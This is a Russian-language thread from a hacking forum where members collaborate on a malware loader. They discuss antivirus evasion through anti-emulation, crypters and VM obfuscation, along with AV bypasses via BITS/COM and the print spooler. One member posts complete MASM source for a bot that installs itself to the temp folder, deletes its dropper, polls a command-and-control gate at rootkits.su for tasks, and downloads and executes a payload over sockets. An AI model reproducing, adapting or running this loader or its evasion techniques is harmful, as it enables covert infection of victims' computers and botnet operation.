• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

KraZz ,а из-под ната и эмуляторов уходить как будете? :D
Могу помочь готовым кодом,если нужно будет (если не уплывёт в паблик)...
 
Ar3s пишет:
Но ты модер и решать тебе.
Я че-то запутался в этих "коридорах власти". Да и зря ты мне доверил этот "карающий меч". - ИМХО
Сейчас у меня нет времени (че там в разделах - не смотрел), через пару дней тогда создам там тему (если она еще не создана). (может еще чего приватного закину, но не обещаю)
олучицца.,


Ar3s пишет:
Quake3, demien, Ragnar, Barack, shyrka, Apocalypse, паук, waahoo?

Я же говорю, я тут сам на птичьих правах, и естественно от меня мало что зависеть будет!
Если есть желание - может любой принять участие, хотят - да пожалуйста, но есть же одно но...
waahoo пишет:
у меня например очень очень мало времени на писанину (ебан#й комерс опять же, я оброс обязанностями, но иначе мне и моей семье нехуй будет кушать), хотя...

Quake3 пишет:
Предлагаю вообще закрыть данную тему, по крайней мере для себя я ее закрываю окончательно.
Да и тут же ничего никто не закрывает, может любой выложить код (как это сделал недавно demien) и обсуждать его плюсы и недостатки; все продолжается как обычно без изменений, любой из Quake3, demien, Ragnar, Barack, shyrka, Apocalypse, паук, waahoo и не только может предлагать "темы" и их обсуждать.
Просто создан некий буфер; те, кто реально что-то будут для проекта делать - будут попадать в приват.
Ни у кого нет приоритетов - всем ставим на репу 0, и каждый пытается своими знаниями открыть дверь привата.
Я же всех предупреждал еще с самого начала, будьте активнее, предлагайте что-то, или обсуждайте - никому ничего не запрещаецца!

Ну, и я конечно же могу объяснить почему, но это мало кому может быть интересным...
Я лишь пишу то, что думаю...
Ну и если логически рассуждать. (не знаю правда, ведь подобное обсуждение запрещено правилами форума)
Apocalypse - уже несколько раз написал по-сути одно и тоже.

Антиэмуляция, но это проблема крипторов, а не твоя.
Лично я считаю лишним, изъебыаться над сокрытием от аверов, т.к это полностью от крипторов должно зависить.

Вы рано начали обсуждать всякие "антиоткладчики" (если они вообще нужны в лоадере, имхо это проблема крипторов)
Хотя до этого писал:

Apocalypse пишет:
но важно использовать антиэмуляцию, чтобы эмулятор ав не добрался до внутренностей.

Теперь почитаем, что другие пишут:

Dark Koder пишет:
так как хороший антиемуль решает)
Но вообще согласен с Апокалипсом!

salamandra пишет:
.И как правильно сказали,нужен антиэмуль и вообще
по всякому можно.

demien пишет:
если на фасме запилить с антиэмулем, то можно серверсайд морфер сделать и будет айс...

И теперь на фоне этого всего, что же сделал Left4Dead:
на входе Download&Execute шеллкод из Metasploit с вбитым URLом, палящийся всем чем только можно

дальше пару антиэмуляционных фич из паблика и тупая последовательная генерация шеллкода путём математических операций на основе разложения логарифма в ряд Тейлора.
Сам C-гавнокод генерится скриптом.


demien пишет:
Идея в том, что вм будет использоватся для усложения реверса или андетекта против аверов? Или для обеих случаев в одном флаконе?

Идея в том, что у этой ВМ не будет байт-кода, на основе которого можно сделать декомпиль и на "автоподсосе" "видеть" функционал лоадера.
Чтобы понять, что делает лоадер, нужно будет в ручную сидеть в отладчике и дебажить до конца света, чтобы хоть что-то понять, но так как там говноциклы ("бесконечные", которые крутятся в одном цикле) для любого реверсера это будет ад; при условии, что если с помощью JIT`а генерить рандомный стандартный говнокод, создавая тем самым уникальный билд (вернее двиг ВМ), можно.. но это уже совсем другая история...

ЗЫ: У меня иммунитет на "заклинания" (что у кого-то есть приватный код), меня просто невозможно "купить" чем-то приватным.
ЗЫЫ: и опять же никто не гарантирует что из этого что-то получицца.

[mod][Ar3s:] Разбей сообщение на два разных. Хз почему но стиль к цитатам не поднимает. [/mod]
 
KraZz
этот говнокод не компилится из-за ошибки в самом Microsoft Visual C++. Как видишь, там нету вложенных 100500 циклов, они идут друг за другом последовательно на самом деле. Чтобы скомпилить этот УГ нужно компилить его как C, а не как CPP, тогда баг пропадает :))
и оно реально даёт 0 детектов, из-за антиэмуляции. а размер уменьшить в 100 раз это не проблема, просто оно по-быстрому делалось для проверки концепции.
 
KraZz ?я вас и не собирался "покупать" =) просто нежелательно,чтобы в паблик попал код этот (юзаю в своих прогах "белых"). :)
А насчет бай-ткода немного не ппонял-это разве единственное средство?или еть еще варианты? :blink:
 
Left4Dead пишет:
этот говнокод не компилится из-за ошибки в самом Microsoft Visual C++.
Да он и в режиме TP компилицца без ошибок, только там нужно вслух сказать: «трах-тибидох», и выделить компилю память (/Zm1000) :)

Left4Dead пишет:
Как видишь, там нету вложенных 100500 циклов, они идут друг за другом последовательно на самом деле.
Да в принципе без разницы как это называть
Код:
for (; kLn_i <= kLn_n; K_INC_INT_C( kLn_i ) )
{
           kLn_j = K_CONST_1_B; 
   kLn_pow1 = K_CONST_1_A;

   for (; kLn_j <= kLn_i; K_INC_INT_A( kLn_j ) )
   {
      kLn_t1  = K_CONST_MINUS_1_A;
      K_MUL_INT_A( kLn_t1, kLn_pow1, kLn_t5 );
      kLn_pow1 = kLn_t5;
   }
         kLn_j = K_CONST_1_E; 
   kLn_pow2 = K_CONST_1_C;
   kLn_t2 = K_CONST_1_D;

   for (; kLn_j <= kLn_i + kLn_t2; K_INC_INT_B( kLn_j ) )
   {
      kLn_t3 = K_CONST_1_F;
      K_MUL_DOUBLE_A( (kLn_x - kLn_t3), kLn_pow2, kLn_t6 );
      kLn_pow2 = kLn_t6;
   }

         K_MUL_DOUBLE_B( kLn_pow1, kLn_pow2, kLn_t7 );
   kLn_t4 = K_CONST_1_G;

   K_ADD_DOUBLE_B( kLn_i, kLn_t4, kLn_t8 );
   kLn_t7 = kLn_t7 / kLn_t8;
   K_ADD_DOUBLE_A( kLn_result, kLn_t7, kLn_result );
}
for в for`ре или for за for`ом - смысл от этого не меняется, особенно когда одна переменная (kLn_i) из одного for`а юзается в другом for`е (kLn_j)
короче пусть будет «идут друг за другом последовательно»
fatal error C1061
compiler limit : blocks nested too deeply
Nesting of code blocks exceeds the limit of 128 nesting levels. Simplify nesting.
Компилятор явно попутал %))) (я, когда писал про вложенность циклов, делал акцент именно на эту "багу" ;) )

Left4Dead пишет:
и оно реально даёт 0 детектов, из-за антиэмуляции.
Предлагаешь проверить? Чет до ужаса стало интересно кто окажецца прав...

ЗЫ: Короче у меня профиль "бажным" стал, надо будет выяснить причину... по-сабжу - инфу скину завтра :) (ближе к вечеру)
 
тут возможно такое что анализатор ав увидев структуру вида

asm код
цикл
memcpy

может выдать ему супкиктиус в 6 сек.

Left4Dead
ты сам разрабатывал скрипт конверта шеллкода в подобный вид?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я не против поучаствовать, если проектом будет заниматься кто-то еще. В последнее время ничего по теме не кодил (т.к. было не до этого), единственное - переписал процедуру скачивания файла на сокетах (с учетом всяческих нюансов, вида в ответе нет конца хидеров, и так далее).

С другой стороны, аверы примерно одинаково палят urldownloadtofile и этот код, но в urldownloadtofile по любому меньше ошибок, функция стабильней. Так что хз даже, стоит ли делать скачивание на сокетах\вининет.
 
Left4Dead пишет:
и оно реально даёт 0 детектов
Сейчас сделал тесты, действительно дает 0/42, но при определенных условиях.., думаю это для тебя не будет новостью (кстати, это мы уже обсуждали в этой теме)
Короче, более подробнее я скину инфу в приват (в ту тему про бабло)
ЗЫ: Скорее всего завтра.. ближе к вечеру...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кстати demien , когда вы писали
Даже создание через COM (Background Intelligent Transfer Service Proxy, кто знает, поймет) вряд ли выложат.
Вы не это ли имели ввиду? http://forum.antichat.ru/showthread.php?t=48664
 
Quake3
Немного поработаю телепатом. Скорее всего да. Его использовали очень давно и насколько я читал использовался в robots лоадере и ещё в +100500 подобных продуктов. Все дело в том, что во-первых BITS используется для апдейт центра винды - для сервера COM был разрешен выход в инет. Во-вторых на то время в силу распределенной архитектуры COM (клиент делает запрос в BITS и этот запрос передается через RPC на сервер COM объекта в другой процесс) АВ не могли определить откуда конкретно исходит запрос - от бота или системного компонента - и не блокировали эту активность. Сейчас же они это прекрасно научились делать (но не все конечно =) и не до конца). Если помните к примеру обходы используемые в TDSS v3 - там использовался обход через спулер печати - все тоже самое - RPC запрос спулеру - тот подгружает нашу dll от своего имени. Сейчас такие запросы мониторятся. SCM и подгрузка дров из той же оперы опять же.

Сорри, за многобукв, я подумал, что небольшой ликбез не помешает.
 
Quake3 Да, об этом... на хабре есть статья, не могу найти линку, там дебажится и анализируется трой юзающий эту технологию.. размер файла ~3кб
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Выкладываю пока что финальную версию того кода, что я писал. Я не развивал этот код где-то с августа, по причине занятости и проблем со здоровьем.

Что планирую еще доделать
- некоторую обработку ошибок и отправку на гейт сообщений об ошибках;
- динамический импорт, шифрование строк (это частично написано, выложу потом)

http://paste.0day.in/index.php?show=183
http://paste.dlab.org.in/256

Код:
.386                      
.model flat, stdcall      
option casemap:none

getTask PROTO :DWORD

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,urlmon,msvcrt,ws2_32

.data
uri db "/newgate/gate.php?id=%.8x",0
host db "rootkits.su",0
uag db "Mozilla",0

request db "GET %s HTTP/1.0",0dh,0ah
  db "Host: %s",0dh,0ah
  db "Connection: Close",0dh,0ah,0dh,0ah,0
fname db "cs.exe",0
furi db "/newgate/1.exe",0
cif STARTUPINFO <>
pi PROCESS_INFORMATION  <>

.data?
lpMem dd ?;указатель на память в хипе
RNDnum dd ?;серийный номер диска
hThread dd ?;хендл потока

.code
main PROC
local heaph:dword;указатель на хип
local first[32]:byte;параметры командной строки - тип операции(удалить, апдейтить)
local second[MAX_PATH]:byte;путь к изначальному файлу
local curfname:dword;текущий путь к файлу
local newfname:dword;путь к файлу в темп, т.е. к новому
local newdir:dword;для установки текущей директории
local tmpbuf[32]:byte


invoke GetVolumeInformation,0,0,0,offset RNDnum,0,0,0,0;формируем рендомный ключ
invoke wsprintf,addr tmpbuf,chr$("%08x"),RNDnum

invoke GlobalFindAtom,addr tmpbuf;ищем такой атом
invoke GetLastError
.if eax!=ERROR_FILE_NOT_FOUND;атом есть, значит не первый запуск
  ;invoke MessageBox,0,chr$("povtorniy zapusk!"),0,0
	exit
.endif
invoke GlobalAddAtom,addr tmpbuf;иначе добавляем атом в глоб. таблицу

invoke GetCL, 2, addr second; получаем второй элемент командной строки
	.if eax!=1;если его нет, значит запуск без параметров
  jmp @install;переходим на инсталл
	.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
  invoke GetCL, 1, addr first;получаем 1 параметр
  .if eax==1
  	switch$ addr first
    case$ "del"
    	invoke Sleep,8000;ждем завершение исходного файла, т.к. мало ли
                    invoke DeleteFile,addr second
                        .if eax==0;удалить не удалось, пусть удалит его система после ребута
                            invoke MoveFileEx,addr second,0,MOVEFILE_DELAY_UNTIL_REBOOT
                        .endif
    	jmp @installed;переход на уже инсталирован
    case$ "upd"
    nop;апдейт пока не реализован
    jmp @installed ;переход на уже инсталирован
  	endsw$
  .endif
	.endif

@install:
invoke GetProcessHeap;хип процесса
	mov heaph,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
	mov curfname,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
	mov newfname,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
	mov newdir,eax
	
invoke GetModuleFileName,0,curfname,MAX_PATH;текущий путь к файлу
;путь к темп,добавляем к нему имя фаела
invoke ExpandEnvironmentStrings,chr$("%tmp%\"),newfname,MAX_PATH

invoke lstrcat,newfname,addr tmpbuf;добавить рендомное имя файла
invoke lstrcat,newfname,chr$(".exe")

;приводим инсталл путь к "длинному" пути - ибо сравнение не корректно реагирует
invoke GetLongPathName,newfname,newfname,MAX_PATH
invoke lstrcmpi,curfname,newfname;сравниваем текущий путь и инсталл путь
	test eax,eax;если бот инсталирован
	.if eax==0; переход дальше, закрытие хендлов хипа
  invoke HeapFree,heaph,0,newfname
  invoke HeapFree,heaph,0,newdir
  invoke HeapFree,heaph,0,curfname
  jmp @installed
	.endif
  invoke CopyFile,curfname,newfname,FALSE;Если фолс, идет перезапись при копи
	;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
  invoke wsprintf,addr second,chr$("%s %s"),chr$("del"),curfname

  invoke ExpandEnvironmentStrings,chr$("%tmp%"),newdir,MAX_PATH
        invoke ShellExecute,0,chr$("open"),newfname,addr second,newdir,SW_SPOILER
  invoke HeapFree,heaph,0,newfname;освобождаем память
  invoke HeapFree,heaph,0,newdir
  invoke HeapFree,heaph,0,curfname
  invoke ExitProcess,0	
	
@installed:;бот уже лежит где надо, отстук в админку за заданием
invoke GetProcessHeap;хип процесса
	mov heaph,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,512;выделяем память
	mov lpMem,eax; буфер для ответа сервера, там ссылка на фаел

push eax	
call getTask;получаем задание
call dload;скачать фаел
invoke HeapFree,heaph,0,lpMem
@exit:
invoke ExitProcess,0
main ENDP

getTask PROC p2buf:dword;p2buf - указатель на память в хипе
local hInternet:dword;InternetOpen handle
local hConn:dword;InternetConnect handle
local hRequest:dword;HttpOpenRequest handle
local taskbuf[128]:byte;для чтения ответа гейта
local uribuf[64]:byte;буфер для ури
local bRead:dword;байт прочитано с инета
local totalRead:dword;прочитано байт вообще, в целом

mov totalRead,0;начальная инициализация


invoke wsprintf,addr uribuf,offset uri,RNDnum;формируем строку для отстука

@gettask:
invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_PRECONFIG,0,0,0
	.if eax==0;если ошибка - пробуем еще раз
  invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_DIRECT,0,0,0
	.endif
mov hInternet,eax

invoke InternetConnect,hInternet,offset host,INTERNET_DEFAULT_HTTP_PORT,0,0,INTERNET_SERVICE_HTTP,0,0
	.if eax==0
	;invoke MessageBox,0,LastError$(),chr$("InternetOpenUrl Error"),MB_OK
  invoke ExitProcess,0
	.endif
mov hConn,eax

invoke HttpOpenRequest,hConn,0,addr uribuf,0,0,0,INTERNET_FLAG_PRAGMA_NOCACHE or INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_NO_AUTO_REDIRECT or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI,0
	.if eax==0
	;invoke MessageBox,0,LastError$(),chr$("HttpOpenRequest Error"),MB_OK
  invoke ExitProcess,0
	.endif
mov hRequest,eax

invoke InternetSetOption,hRequest,INTERNET_OPTION_IGNORE_OFFLINE,0,0

invoke HttpSendRequest,hRequest,0,0,0,0
	.if eax==0
	;invoke MessageBox,0,LastError$(),chr$("HttpSendRequest Error"),MB_OK
  invoke ExitProcess,0
	.endif

	
invoke RtlZeroMemory,p2buf,sizeof p2buf
invoke RtlZeroMemory,addr taskbuf,sizeof taskbuf	
@@:;читаем данные в цикле
	invoke InternetReadFile,hRequest,addr taskbuf,127,addr bRead
  cmp eax,0
  jz @f
  cmp bRead,0;если функция вернула 0
  jz @f;выходим
	push edx
	mov edx,totalRead
	add edx,bRead
	mov totalRead,edx
	pop edx
	invoke crt_strncat,p2buf,addr taskbuf,bRead;копир. данные в глоб.буфер, ровно сколько вернул InternetReadFile!
	invoke RtlZeroMemory,addr taskbuf,sizeof taskbuf
cmp bRead,0
jnz @b
@@:
lea esi,p2buf;иначе ставим нуллбайт в конец
add esi,totalRead
mov byte ptr [esi],0

invoke InternetCloseHandle,hRequest;надо ли закрывать?
invoke InternetCloseHandle,hConn
invoke InternetCloseHandle,hInternet

invoke lstrcmp,p2buf,chr$("no task")
.if eax==0;нет задания?
	invoke RtlZeroMemory,p2buf,sizeof p2buf-1
	invoke Sleep,30000;пауза 5 минут и снова запрос - add 0!!!
	jmp @gettask
.endif
ret;может добавить какие-то проверки,типа если функция вернула 1, то все ок, есть задание?
getTask ENDP


dload PROC uses ecx ebx
;скачивание файлов на сокетах
local wsa:WSADATA
local saddr:sockaddr_in
local sock:dword
local buf[1024]:byte
local recvbuf[1024]:byte
local buffer[1024]:byte
local fg:dword
local bwr:dword
local heap2:dword
local read4sock:dword;байт прочитано из сокета

mov read4sock,0

mov edi,lpMem;парсим uri (а хост и так есть в секции дата)
mov ecx,512;TODO: хост может быть другим, ссылка на левый сайт, парсить это
mov al,'/'
@@:
inc edi;пропускаем второй слеш после http:
repne scasb
cmp byte ptr[edi],'/'
je @b
dec edi;увеличить, ибо для ури нужен слеш
push edi;сохраняем ури

invoke WSAStartup,101h,addr wsa
    .if eax==NO_ERROR
    invoke socket,PF_INET,SOCK_STREAM,0
    .if eax!=SOCKET_ERROR
        mov sock,eax
        invoke gethostbyname,offset host
    .if eax!=0
        mov eax,[eax+12]
        mov eax,[eax]
        mov eax,[eax]
        mov saddr.sin_addr,eax
        invoke htons,80
        mov saddr.sin_port,ax
        mov saddr.sin_family,AF_INET
        invoke connect,sock,addr saddr,sizeof saddr
        .if eax!=SOCKET_ERROR
  	pop edi;uri
            invoke wsprintf,addr buffer,offset request,edi,offset host
  	@send:
            push eax;к-тво байт, что надо отправить
  	invoke send,sock,addr buffer,eax,0;теперь в еах к-тво реально отправленых байт
    	cmp eax,SOCKET_ERROR;если ошибка, выходим нафиг
    	je @ret
    pop ebx;восстанавливаем к-тво байт, что надо было отправить
    xchg ebx,eax;в ebx сколько отправлено, в еах - сколько надо было
    sub eax,ebx;вычитаем
    jne @send;if !=0, значит отправилось не все, идем назад и доотправляем	
        .endif
           
__parsehead:  
	invoke recv,sock,addr buf,400h,0;b4sock = 400Н
    cmp eax,SOCKET_ERROR
    je @ret
  	mov read4sock,eax
  cld
  lea esi,buf
  mov ecx,eax;recv result
  	inc ecx
        findhh:
  	dec ecx;замена loop
  test ecx,ecx;0 и ничего не найдено?
  je __parsehead;значит конца хидеров тут нет
        lodsb;иначе загружаем байт с буфера в al
        cmp al,0Dh
        jnz findhh;не совпало - загружаем следующий байт
        cmp word ptr [esi+1],0A0Dh
            jz __headcatched;нашли? Значит конец хидеров
        jmp findhh;снова не то, видать конец отдельного хидера, идем назад

__headcatched:
    invoke CreateFile,offset fname,GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
        mov fg,eax
        mov ebx,read4sock
        lea ecx,[esi+3];сюда указатель на r\n\r\n
        lea eax,buf;указатель на буфер
        sub ecx,eax ;сколько байт от начала буфера находится перевод строки?
        sub ebx,ecx;оставшиеся байты - тело файла, их к-тво и пишем в файел
        invoke WriteFile,fg,addr [esi+3],ebx,addr bwr,0;запись данных из первого recv
    get_body:
    invoke recv,sock,addr buf,400h,0
    test eax,eax;если ноль
    jz body_catched;скачали все данные
        mov ebx,eax
    invoke WriteFile,fg,addr buf,ebx,addr bwr,0;в ebx к-тво байт считанных recv
        jmp get_body
    
    body_catched:;можно добавить какие-то проверки или хз
        
    invoke CloseHandle,fg    
    .endif
    invoke shutdown,sock,SD_BOTH
    invoke closesocket,sock
    .endif
    invoke WSACleanup

	invoke CreateProcess,offset fname,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,offset cif,offset pi
	test eax,eax
	jne @ret;если там не 0 - значит успешный запуск
;а иначе хз, перезапустить еще раз или уведомить, что не получилось? 
.endif
@sockerr:
;TODO - добавить обработку ошибок, отсылку на гейт кода WSAGetLastERROR (с помощью какой-то годной функи типа урлдовнлоадтофайл, т.е. что не даст сбоя 100%)
@ret:
;TODO - добавить отстук в админку, что запустился ехе   
ret
dload ENDP
end main
 
з.ы. все же приятно что тот мой пост (некоторые дагадаются о чем я:)) хоть что-то, хоть какой-то рычажок в мозгу некоторых смог сдвинуть. Эль, квейк3 респект!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх